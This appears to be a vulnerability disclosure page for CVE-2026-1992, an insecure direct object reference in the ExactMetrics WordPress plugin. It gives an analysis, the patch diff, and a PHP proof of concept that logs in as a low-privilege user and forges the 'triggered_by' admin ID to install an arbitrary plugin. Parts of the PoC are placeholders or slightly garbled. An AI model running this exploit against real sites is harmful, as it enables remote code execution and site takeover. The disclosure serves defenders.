Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1992: ExactMetrics 8.6.0 – 9.0.2 – Authenticated (Custom) Insecure Direct Object Reference to Arbitrary Plugin Installation (google-analytics-dashboard-for-wp)

CVE ID CVE-2026-1992
Severity High (CVSS 8.8)
CWE 639
Vulnerable Version 9.0.2
Patched Version 9.0.3
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1992:

The vulnerability exists in the ExactMetrics WordPress plugin versions 8.6.0 through 9.0.2. The root cause is an Insecure Direct Object Reference (IDOR) in the `store_settings()` method of the `ExactMetrics_Onboarding` class. This method accepts a user-supplied `triggered_by` parameter via the REST API endpoint `/wp-json/exactmetrics/v1/onboarding/store-settings`. The vulnerable code at line 269 in class-exactmetrics-onboarding.php uses this parameter instead of the current authenticated user’s ID when calling `exactmetrics_can_install_plugins()`. This bypasses the WordPress capability check that normally requires the `install_plugins` permission.

Attackers with the `exactmetrics_save_settings` capability can exploit this by sending a POST request to the REST endpoint with a `triggered_by` parameter set to an administrator’s user ID. When combined with the `addons_to_install` setting in the payload, this allows arbitrary plugin installation. The vulnerability requires that administrators have granted the `exactmetrics_save_settings` capability to non-administrator users, typically through the ‘view reports’ permission delegation feature.

The patch in version 9.0.3 addresses this by removing the `triggered_by` parameter usage. Instead, it calls `exactmetrics_get_onboarding_user_id()` which retrieves the user ID from a transient set during onboarding key generation. The patch also introduces additional security measures including admin-only setting restrictions and a new API token system. The critical fix occurs at line 286 where `$onboarding_user_id` replaces `$triggered_by_user` in the `exactmetrics_can_install_plugins()` call.

Successful exploitation enables authenticated attackers to install arbitrary WordPress plugins, leading to remote code execution and complete site compromise. The attack vector requires the attacker to have the `exactmetrics_save_settings` capability but not the `install_plugins` capability.

Differential between vulnerable and patched code

Code Diff
--- a/google-analytics-dashboard-for-wp/gadwp.php
+++ b/google-analytics-dashboard-for-wp/gadwp.php
@@ -5,7 +5,7 @@
  * Plugin URI: https://exactmetrics.com
  * Description: Displays Google Analytics Reports and Real-Time Statistics in your Dashboard. Automatically inserts the tracking code in every page of your website.
  * Author: ExactMetrics
- * Version: 9.0.2
+ * Version: 9.0.3
  * Requires at least: 5.6.0
  * Requires PHP: 7.2
  * Author URI: https://exactmetrics.com/lite/?utm_source=liteplugin&utm_medium=pluginheader&utm_campaign=authoruri&utm_content=7%2E0%2E0
@@ -55,7 +55,7 @@
 	 * @var string $version Plugin version.
 	 */

-	public $version = '9.0.2';
+	public $version = '9.0.3';

 	/**
 	 * Plugin file.
--- a/google-analytics-dashboard-for-wp/includes/admin/admin-assets.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/admin-assets.php
@@ -248,6 +248,15 @@
 			$site_auth = $auth->get_viewname();
 			$ms_auth   = is_multisite() && $auth->get_network_viewname();

+			// Get bearer token for direct browser-to-API requests.
+			$bearer_token_data = ExactMetrics_API_Token::get_token( is_network_admin() );
+			$bearer_token      = '';
+			$bearer_expires    = 0;
+			if ( ! is_wp_error( $bearer_token_data ) ) {
+				$bearer_token   = $bearer_token_data['token'];
+				$bearer_expires = $bearer_token_data['expires_at'];
+			}
+
 			wp_localize_script(
 				$handle,
 				'exactmetrics',
@@ -265,6 +274,10 @@
 					'wizard_url'           => exactmetrics_get_onboarding_url(),
 					'rest_url'             => get_rest_url(),
 					'rest_nonce'           => wp_create_nonce( 'wp_rest' ),
+					// Direct API access (bypasses WordPress for performance).
+					'relay_api_url'        => apply_filters( 'exactmetrics_api_url_custom_dashboard', 'https://app.exactmetrics.com/' ),
+					'bearer_token'         => $bearer_token,
+					'bearer_expires'       => $bearer_expires,
 				)
 			);

--- a/google-analytics-dashboard-for-wp/includes/admin/admin.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/admin.php
@@ -62,9 +62,6 @@
 		add_submenu_page( $parent_slug, __( 'General Reports:', 'google-analytics-dashboard-for-wp' ), __( 'Reports', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_view_dashboard', 'exactmetrics_reports', 'exactmetrics_reports_page' );
 	}

-	// then settings page
-	add_submenu_page( $parent_slug, __( 'ExactMetrics', 'google-analytics-dashboard-for-wp' ), __( 'Settings', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_save_settings', 'exactmetrics_settings', 'exactmetrics_settings_page' );
-
 	/**
 	 * Output the Custom Dashboard app mount node.
 	 *
@@ -72,9 +69,27 @@
 	 */
 	function exactmetrics_custom_dashboard_page() {
 		do_action( 'exactmetrics_head' );
-		echo '<div id="exactmetrics-custom-dashboard-app" class="mi-custom-dashboard-app">Loading</div>';
+		// Hide WordPress admin notices on this page - Vue app handles its own notifications
+		echo '<style>.exactmetrics_page_exactmetrics_custom_dashboard .notice:not(.exactmetrics-notice),.exactmetrics_page_exactmetrics_custom_dashboard .error:not(.exactmetrics-notice),.exactmetrics_page_exactmetrics_custom_dashboard .updated:not(.exactmetrics-notice){display:none !important;}</style>';
+		echo '<div id="exactmetrics-custom-dashboard-app" class="mi-custom-dashboard-app">';
+		echo '<div class="mi-app-loading"><span class="dashicons dashicons-update mi-spin"></span></div>';
+		echo '<style>.mi-app-loading{display:flex;align-items:center;justify-content:center;min-height:400px;}.mi-spin{animation:mi-spin 1s linear infinite;font-size:40px;width:40px;height:40px;color:#338eef;}@keyframes mi-spin{to{transform:rotate(360deg);}}</style>';
+		echo '</div>';
 	}

+// 	// Add Dashboard page (Vue 3 app)
+// 	add_submenu_page(
+// 		$parent_slug,
+// 		__( 'Dashboard:', 'google-analytics-dashboard-for-wp' ),
+// 		__( 'Dashboard', 'google-analytics-dashboard-for-wp' ) . $new_indicator,
+// 		'exactmetrics_view_dashboard',
+// 		'exactmetrics_custom_dashboard',
+// 		'exactmetrics_custom_dashboard_page'
+// 	);
+
+	// then settings page
+	add_submenu_page( $parent_slug, __( 'ExactMetrics', 'google-analytics-dashboard-for-wp' ), __( 'Settings', 'google-analytics-dashboard-for-wp' ), 'exactmetrics_save_settings', 'exactmetrics_settings', 'exactmetrics_settings_page' );
+
 	// Add dashboard submenu.
 	add_submenu_page( 'index.php', __( 'General Reports:', 'google-analytics-dashboard-for-wp' ), 'ExactMetrics', 'exactmetrics_view_dashboard', 'admin.php?page=exactmetrics_reports' );

--- a/google-analytics-dashboard-for-wp/includes/admin/class-exactmetrics-onboarding.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/class-exactmetrics-onboarding.php
@@ -225,9 +225,26 @@
 		$is_network = boolval( $request->get_param( 'is_network' ) );
 		// Process settings
 		$settings = $request->get_param( 'settings' );
+		$onboarding_user_id = exactmetrics_get_onboarding_user_id();

 		if ( ! empty( $settings ) ) {
+			$allowed_settings = apply_filters( 'exactmetrics_onboarding_allowed_settings', array(
+				'site_type',
+				'extensions_of_files',
+				'affiliate_links',
+				'view_reports',
+				'automatic_updates',
+				'anonymous_data',
+				'verified_automatic',
+			) );
 			foreach ( $settings as $key => $value ) {
+				if ( ! in_array( $key, $allowed_settings, true ) ) {
+					continue;
+				}
+				// Skip admin-only settings for non-admin users.
+				if ( exactmetrics_is_admin_only_setting( $key ) && ! user_can( $onboarding_user_id, 'manage_options' ) ) {
+					continue;
+				}
 				exactmetrics_update_option( $key, $value );
 			}
 		}
@@ -269,8 +286,7 @@
 			);
 			$is_network ? ExactMetrics()->auth->set_network_analytics_profile( $profile ) : ExactMetrics()->auth->set_analytics_profile( $profile );
 		}
-		$triggered_by_user = $request->get_param( 'triggered_by' );
-		$can_install       = exactmetrics_can_install_plugins( $triggered_by_user );
+		$can_install = exactmetrics_can_install_plugins( $onboarding_user_id ?: null );
 		if ( $can_install && ! empty( $settings['addons_to_install'] ) ) {
 			$plugins = $settings['addons_to_install'];

@@ -502,6 +518,7 @@
 	 */
 	public function delete_onboarding_key( $request ) {
 		delete_transient( 'exactmetrics_onboarding_key' );
+		delete_transient( 'exactmetrics_onboarding_user_id' );
 		return new WP_REST_Response(
 			array(
 				'success' => true,
--- a/google-analytics-dashboard-for-wp/includes/admin/exclude-page-metabox.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/exclude-page-metabox.php
@@ -35,10 +35,6 @@
 			return false;
 		}

-		private function posttype_supports_gutenberg() {
-			return post_type_supports( exactmetrics_get_current_post_type(), 'custom-fields' );
-		}
-
 		private function get_current_post_type() {
 			global $post;

@@ -72,7 +68,7 @@
 			}

 			add_action( 'admin_enqueue_scripts', array( $this, 'load_metabox_styles' ) );
-			if ( $this->is_gutenberg_editor() && $this->posttype_supports_gutenberg() ) {
+			if ( $this->is_gutenberg_editor() ) {
 				return;
 			}
 			if ( 'attachment' !== $post_type ) {
--- a/google-analytics-dashboard-for-wp/includes/admin/routes.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/routes.php
@@ -203,6 +203,14 @@

 		if ( isset( $_POST['setting'] ) ) {
 			$setting = sanitize_text_field( wp_unslash( $_POST['setting'] ) );
+
+			// Prevent non-admin users from modifying access-control settings.
+			if ( exactmetrics_is_admin_only_setting( $setting ) && ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( array(
+					'message' => esc_html__( 'You do not have permission to update this setting.', 'google-analytics-dashboard-for-wp' ),
+				) );
+			}
+
 			if ( isset( $_POST['value'] ) ) {
 				$value = $this->handle_sanitization( $setting, $_POST['value'] ); // phpcs:ignore
 				exactmetrics_update_option( $setting, $value );
@@ -232,6 +240,10 @@
 		if ( isset( $_POST['settings'] ) ) {
 			$settings = json_decode( sanitize_text_field( wp_unslash( $_POST['settings'] ) ), true );
 			foreach ( $settings as $setting => $value ) {
+				// Skip admin-only settings for non-admin users.
+				if ( exactmetrics_is_admin_only_setting( $setting ) && ! current_user_can( 'manage_options' ) ) {
+					continue;
+				}
 				$value = $this->handle_sanitization( $setting, $value );
 				exactmetrics_update_option( $setting, $value );
 				do_action( 'exactmetrics_after_update_settings', $setting, $value );
@@ -1067,7 +1079,18 @@

 		foreach ( $exclude as $e ) {
 			if ( ! empty( $settings[ $e ] ) ) {
-				$new_settings = $settings[ $e ];
+				$new_settings[ $e ] = $settings[ $e ];
+			}
+		}
+
+		// Prevent non-admin users from importing access-control settings.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$admin_only_settings = exactmetrics_get_admin_only_settings();
+			foreach ( $admin_only_settings as $admin_setting ) {
+				unset( $new_settings[ $admin_setting ] );
+				if ( isset( $settings[ $admin_setting ] ) ) {
+					$new_settings[ $admin_setting ] = $settings[ $admin_setting ];
+				}
 			}
 		}

--- a/google-analytics-dashboard-for-wp/includes/admin/site-notes/Controller.php
+++ b/google-analytics-dashboard-for-wp/includes/admin/site-notes/Controller.php
@@ -1158,6 +1158,11 @@
 	}

 	public function load_metabox_assets() {
+		// Don't load classic editor assets on block editor
+		if ( $this->is_gutenberg_editor() ) {
+			return;
+		}
+
 		wp_register_style('exactmetrics-admin-metabox-sitenotes-style', plugins_url('assets/css/admin-metabox-sitenotes.css', EXACTMETRICS_PLUGIN_FILE), array(), exactmetrics_get_asset_version());
 		wp_enqueue_style('exactmetrics-admin-metabox-sitenotes-style');

@@ -1166,6 +1171,24 @@
 	}

 	/**
+	 * Check if the current screen is the Gutenberg (block) editor.
+	 *
+	 * @return bool True if on block editor, false otherwise.
+	 */
+	private function is_gutenberg_editor() {
+		if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) {
+			return true;
+		}
+
+		$current_screen = get_current_screen();
+		if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
 	 * Add site-note to traffic sessions chart.
 	 *
 	 * @param array $data
--- a/google-analytics-dashboard-for-wp/includes/api/class-exactmetrics-api-token.php
+++ b/google-analytics-dashboard-for-wp/includes/api/class-exactmetrics-api-token.php
@@ -0,0 +1,274 @@
+<?php
+/**
+ * API Token class for ExactMetrics.
+ *
+ * Generates encrypted tokens for secure browser-to-API communication.
+ * Used by Custom Dashboard, AI Chat, and any feature needing direct
+ * browser-to-Laravel requests without proxying through WordPress.
+ *
+ * Token Format: {publickey}.{base64(hmac + iv + ciphertext)}
+ *
+ * Security Features:
+ * - AES-256-CBC encryption
+ * - HMAC-SHA256 integrity verification
+ * - 30-minute token expiration
+ * - Site-specific encryption key (relay token)
+ *
+ * @since 9.x.x
+ * @package ExactMetrics
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * ExactMetrics API Token class.
+ *
+ * @since 9.x.x
+ */
+class ExactMetrics_API_Token {
+
+	/**
+	 * Token expiration time in seconds (30 minutes).
+	 *
+	 * @var int
+	 */
+	const TOKEN_EXPIRATION = 1800;
+
+	/**
+	 * Cache group for storing generated tokens.
+	 *
+	 * @var string
+	 */
+	const CACHE_GROUP = 'api_tokens';
+
+	/**
+	 * Encryption cipher.
+	 *
+	 * @var string
+	 */
+	const CIPHER = 'AES-256-CBC';
+
+	/**
+	 * Generate an encrypted token for browser-to-API communication.
+	 *
+	 * The token contains encrypted user and site context that can be
+	 * validated by Laravel/Python without calling back to WordPress.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return array|WP_Error Token data array or WP_Error on failure.
+	 *                        {
+	 *                            'token'      => string, // The encrypted token
+	 *                            'expires_at' => int,    // Unix timestamp
+	 *                        }
+	 */
+	public static function generate( $network = false ) {
+		$auth = ExactMetrics()->auth;
+
+		// Get relay credentials.
+		$public_key = $network ? $auth->get_network_key() : $auth->get_key();
+		$token_key  = $network ? $auth->get_network_token() : $auth->get_token();
+
+		if ( empty( $public_key ) || empty( $token_key ) ) {
+			return new WP_Error(
+				'not_authenticated',
+				__( 'Site is not authenticated with ExactMetrics.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Build payload - minimal data needed for Laravel validation.
+		$timestamp  = time();
+		$expires_at = $timestamp + self::TOKEN_EXPIRATION;
+
+		$payload = array(
+			'site_url'   => $network ? network_admin_url() : home_url(),
+			'issued_at'  => $timestamp,
+			'expires_at' => $expires_at,
+		);
+
+		// Encrypt the payload.
+		$encrypted = self::encrypt_payload( $payload, $token_key );
+
+		if ( is_wp_error( $encrypted ) ) {
+			return $encrypted;
+		}
+
+		// Final token format: publickey.encrypted_payload
+		$token = $public_key . '.' . $encrypted;
+
+		return array(
+			'token'      => $token,
+			'expires_at' => $expires_at,
+		);
+	}
+
+	/**
+	 * Get a cached token or generate a new one.
+	 *
+	 * Tokens are cached at site-level since all users see the same analytics data.
+	 * A 5-minute buffer is used to refresh tokens before they expire.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return array|WP_Error Token data array or WP_Error on failure.
+	 */
+	public static function get_token( $network = false ) {
+		// Ensure user has permission to view dashboard data.
+		if ( ! current_user_can( 'exactmetrics_view_dashboard' ) ) {
+			return new WP_Error(
+				'unauthorized',
+				__( 'You do not have permission to access this data.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		$cache_key = 'api_token_site' . ( $network ? '_network' : '' );
+
+		// Try to get cached token.
+		$cached = exactmetrics_cache_get( $cache_key, self::CACHE_GROUP );
+
+		// Check if cached token is still valid (with 5-minute buffer).
+		if ( $cached && isset( $cached['expires_at'] ) ) {
+			$buffer = 300; // 5 minutes.
+			if ( $cached['expires_at'] > ( time() + $buffer ) ) {
+				return $cached;
+			}
+		}
+
+		// Generate new token.
+		$token_data = self::generate( $network );
+
+		if ( is_wp_error( $token_data ) ) {
+			return $token_data;
+		}
+
+		// Cache the token (TTL = expiration - buffer).
+		$ttl = ( $token_data['expires_at'] - time() ) - 300;
+		if ( $ttl > 0 ) {
+			exactmetrics_cache_set( $cache_key, $token_data, self::CACHE_GROUP, $ttl );
+		}
+
+		return $token_data;
+	}
+
+	/**
+	 * Get just the token string (convenience method for wp_localize_script).
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return string The token string or empty string on failure.
+	 */
+	public static function get_token_string( $network = false ) {
+		$token_data = self::get_token( $network );
+
+		if ( is_wp_error( $token_data ) ) {
+			return '';
+		}
+
+		return $token_data['token'];
+	}
+
+	/**
+	 * Get the token expiration timestamp.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to use network credentials.
+	 * @return int Unix timestamp or 0 on failure.
+	 */
+	public static function get_expiration( $network = false ) {
+		$token_data = self::get_token( $network );
+
+		if ( is_wp_error( $token_data ) ) {
+			return 0;
+		}
+
+		return $token_data['expires_at'];
+	}
+
+	/**
+	 * Invalidate cached token for the site.
+	 *
+	 * Call this when relay credentials change or are deauthenticated.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param bool $network Whether to invalidate network token.
+	 * @return bool True on success.
+	 */
+	public static function invalidate( $network = false ) {
+		$cache_key = 'api_token_site' . ( $network ? '_network' : '' );
+
+		return exactmetrics_cache_delete( $cache_key, self::CACHE_GROUP );
+	}
+
+	/**
+	 * Encrypt the payload using AES-256-CBC.
+	 *
+	 * @since 9.x.x
+	 *
+	 * @param array  $payload  The data to encrypt.
+	 * @param string $key_seed The seed for deriving the encryption key (relay token).
+	 * @return string|WP_Error Base64-encoded encrypted data or WP_Error.
+	 */
+	private static function encrypt_payload( $payload, $key_seed ) {
+		// Check if OpenSSL is available.
+		if ( ! function_exists( 'openssl_encrypt' ) ) {
+			return new WP_Error(
+				'openssl_missing',
+				__( 'OpenSSL extension is required for secure API tokens.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		$payload_json = wp_json_encode( $payload );
+
+		if ( false === $payload_json ) {
+			return new WP_Error(
+				'json_encode_failed',
+				__( 'Failed to encode token payload.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Derive encryption key (SHA256 of the relay token).
+		$key = hash( 'sha256', $key_seed, true ); // 32 bytes.
+
+		// Generate random IV.
+		$iv = openssl_random_pseudo_bytes( 16 );
+
+		if ( false === $iv ) {
+			return new WP_Error(
+				'iv_generation_failed',
+				__( 'Failed to generate secure IV.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Encrypt with AES-256-CBC.
+		$ciphertext = openssl_encrypt(
+			$payload_json,
+			self::CIPHER,
+			$key,
+			OPENSSL_RAW_DATA,
+			$iv
+		);
+
+		if ( false === $ciphertext ) {
+			return new WP_Error(
+				'encryption_failed',
+				__( 'Failed to encrypt token payload.', 'google-analytics-dashboard-for-wp' )
+			);
+		}
+
+		// Create HMAC for integrity (sign: iv + ciphertext).
+		$hmac = hash_hmac( 'sha256', $iv . $ciphertext, $key_seed, true ); // 32 bytes.
+
+		// Combine: hmac(32) + iv(16) + ciphertext.
+		// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
+		return base64_encode( $hmac . $iv . $ciphertext );
+	}
+
+}
--- a/google-analytics-dashboard-for-wp/includes/capabilities.php
+++ b/google-analytics-dashboard-for-wp/includes/capabilities.php
@@ -91,3 +91,36 @@
 }

 add_filter( 'map_meta_cap', 'exactmetrics_add_capabilities', 10, 4 );
+
+/**
+ * Get the list of settings that only users with manage_options can modify.
+ *
+ * These are access-control settings that, if modified by a delegated user,
+ * could lead to privilege escalation.
+ *
+ * @since 9.5.2
+ *
+ * @return array Array of admin-only setting keys.
+ */
+function exactmetrics_get_admin_only_settings() {
+	$settings = array(
+		'save_settings',
+		'view_reports',
+		'ignore_users',
+	);
+
+	return apply_filters( 'exactmetrics_admin_only_settings', $settings );
+}
+
+/**
+ * Check if a given setting key is an admin-only setting.
+ *
+ * @since 9.5.2
+ *
+ * @param string $setting The setting key to check.
+ *
+ * @return bool True if the setting is admin-only, false otherwise.
+ */
+function exactmetrics_is_admin_only_setting( $setting ) {
+	return in_array( $setting, exactmetrics_get_admin_only_settings(), true );
+}
--- a/google-analytics-dashboard-for-wp/includes/frontend/frontend.php
+++ b/google-analytics-dashboard-for-wp/includes/frontend/frontend.php
@@ -218,6 +218,7 @@
 		return;
 	}

+	// phpcs:ignore PHPCS_SecurityAudit.Misc.IncludeMismatch.ErrMiscIncludeMismatchNoExt -- File path is validated with file_exists() above.
 	$asset_data = require $asset_file;

 	// Enqueue styles
--- a/google-analytics-dashboard-for-wp/includes/helpers.php
+++ b/google-analytics-dashboard-for-wp/includes/helpers.php
@@ -1033,9 +1033,14 @@
 	if ( empty( $key ) ) {
 		$key = wp_generate_password( 32, false );
 		set_transient( 'exactmetrics_onboarding_key', $key, 30 * MINUTE_IN_SECONDS );
+		set_transient( 'exactmetrics_onboarding_user_id', get_current_user_id(), 30 * MINUTE_IN_SECONDS );
 	}
 	return $key;
 }
+
+function exactmetrics_get_onboarding_user_id() {
+	return (int) get_transient( 'exactmetrics_onboarding_user_id' );
+}
 /**
  * Clears the onboarding key
  *
--- a/google-analytics-dashboard-for-wp/lite/includes/load.php
+++ b/google-analytics-dashboard-for-wp/lite/includes/load.php
@@ -71,6 +71,7 @@
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-reports.php';
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-tracking.php';
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-ads.php';
+		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/api/class-exactmetrics-api-token.php';

 		// Load Google Ads admin classes
 		require_once EXACTMETRICS_PLUGIN_DIR . 'includes/ppc/google/class-exactmetrics-google-ads.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1992 - ExactMetrics 8.6.0 - 9.0.2 - Authenticated (Custom) Insecure Direct Object Reference to Arbitrary Plugin Installation

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_user';
$password = 'attacker_password';
$admin_id = 1; // Administrator user ID to impersonate

// Step 1: Authenticate with WordPress to obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a session to maintain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));

$response = curl_exec($ch);

// Step 2: Get REST API nonce (required for ExactMetrics endpoints)
// The nonce is typically available in page source or can be retrieved via AJAX
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=exactmetrics_settings');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from page (simplified - actual implementation would parse HTML)
// For demonstration, we assume we have a valid nonce
$rest_nonce = 'valid_rest_nonce_here'; // Should be extracted from page source

// Step 3: Exploit the IDOR vulnerability to install arbitrary plugin
$exploit_url = $target_url . '/wp-json/exactmetrics/v1/onboarding/store-settings';

$payload = [
    'settings' => json_encode([
        'addons_to_install' => ['malicious-plugin/malicious-plugin.php'],
        // Other required settings for the endpoint
        'site_type' => 'business',
        'view_reports' => ['administrator', 'editor']
    ]),
    'triggered_by' => $admin_id, // The vulnerable parameter - impersonate admin
    'is_network' => false
];

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

curl_close($ch);

// If successful, the malicious plugin will be installed
// The plugin could contain PHP code for remote code execution

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School